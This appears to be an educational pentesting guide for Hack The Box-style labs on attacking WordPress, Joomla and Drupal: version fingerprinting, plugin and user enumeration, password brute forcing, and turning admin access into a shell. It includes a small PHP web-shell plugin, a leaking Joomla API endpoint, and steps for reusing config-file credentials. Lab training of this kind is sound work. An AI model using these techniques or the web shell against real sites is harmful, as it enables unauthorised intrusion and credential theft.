Attacking WordPress, Joomla and Drupal: from wpscan to RCE

Identify the CMS and its version, enumerate plugins and users with wpscan, joomscan and droopescan, and go from admin to shell on WordPress, Joomla and Drupal.

· 3 min read

When a machine runs a CMS, the way in is almost always one of three: an old version with a CVE, a vulnerable plugin or credentials that get you into the admin panel, from where running code is trivial. This guide covers all three for WordPress, Joomla and Drupal, and works for any other CMS by changing the paths.

1. Which CMS and which version

Before running anything, read the source and the headers:

Clue CMS
/wp-content/, /wp-login.php, <meta name="generator" content="WordPress 6.x"> WordPress
/administrator/, /media/system/js/, cookies with hex names Joomla
/sites/default/, /core/misc/drupal.js, X-Generator: Drupal header Drupal

The exact version, without tools:

# WordPress: generator, RSS feed or the ?ver= on static files
curl -s http://target.htb/feed/ | grep -i generator
# Joomla: the manifest
curl -s http://target.htb/administrator/manifests/files/joomla.xml | grep -i '<version>'
# Drupal 7 and older; on 8+ look at the ?v= on .js files or try /core/install.php
curl -s http://target.htb/CHANGELOG.txt | head

With the version, look for exploits: searchsploit wordpress 5.0, the project's CHANGELOG or simply "CMS version exploit". The exploiting public CVEs guide explains how to read and adapt them.

2. Enumerating plugins, themes and users

# WordPress (the free wpscan.com token adds known vulnerabilities)
wpscan --url http://target.htb -e ap,at,u --plugins-detection aggressive --api-token $WPSCAN_TOKEN
# Joomla
joomscan -u http://target.htb
# Drupal
droopescan scan drupal -u http://target.htb

Tip

wpscan in passive mode misses many plugins. If nothing shows up, fuzz /wp-content/plugins/ with a plugin wordlist (SecLists ships wp-plugins.fuzz.txt) and read each plugin's readme.txt to get its version.

WordPress users also show up at /wp-json/wp/v2/users and at /?author=1, /?author=2... With them you can try weak passwords:

wpscan --url http://target.htb -U admin,editor -P /usr/share/wordlists/rockyou.txt

Before firing rockyou, look for credentials elsewhere: exposed config files (wp-config.php.bak, configuration.php~), an exposed .git or passwords reused from another service.

3. From the admin panel to a shell

With an admin account, running code is "allowed" by design:

CMS How Where
WordPress Edit a theme PHP file (for example 404.php) Appearance → Theme File Editor, then visit /wp-content/themes/<theme>/404.php
WordPress Upload your own plugin as a ZIP Plugins → Add New → Upload
Joomla Edit a template and add PHP to error.php System → Site Templates
Drupal 7 Enable the PHP filter module and create content with PHP Modules → PHP filter
Drupal 8+ Upload a malicious module Extend → Install new module

A minimal WordPress plugin that runs a command:

<?php
/* Plugin Name: utilities */
if (isset($_GET['c'])) { system($_GET['c']); }

Zip it (zip utilities.zip utilities.php), upload it, activate it and call /wp-content/plugins/utilities/utilities.php?c=id. From there, a reverse shell.

Warning

If the theme editor says it "was unable to communicate back with the site", WordPress is validating the PHP. Edit an inactive theme or upload the plugin instead: it is more reliable.

4. Famous CVEs that keep showing up

  • Drupalgeddon2 (CVE-2018-7600): unauthenticated RCE on old Drupal 7 and 8. It is the way into Armageddon.
  • Joomla CVE-2023-23752: /api/index.php/v1/config/application?public=true leaks the database password without authentication (Devvortex, Office).
  • WordPress plugins: most bugs live in plugins, not in the core. On Backdoor a plugin lets you read files (LFI), and from there you continue as in the LFI guide.

Once you are in

Read the CMS config file: it holds the database password, which is often reused by a system user.

CMS File
WordPress wp-config.php
Joomla configuration.php
Drupal sites/default/settings.php

The database holds the users' hashes (wp_users, #__users, users_field_data); crack them with hashcat as explained in hash cracking.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

CMS exploitation 22 machines

See all 22 machines →

Spotted a mistake or something missing? Tell us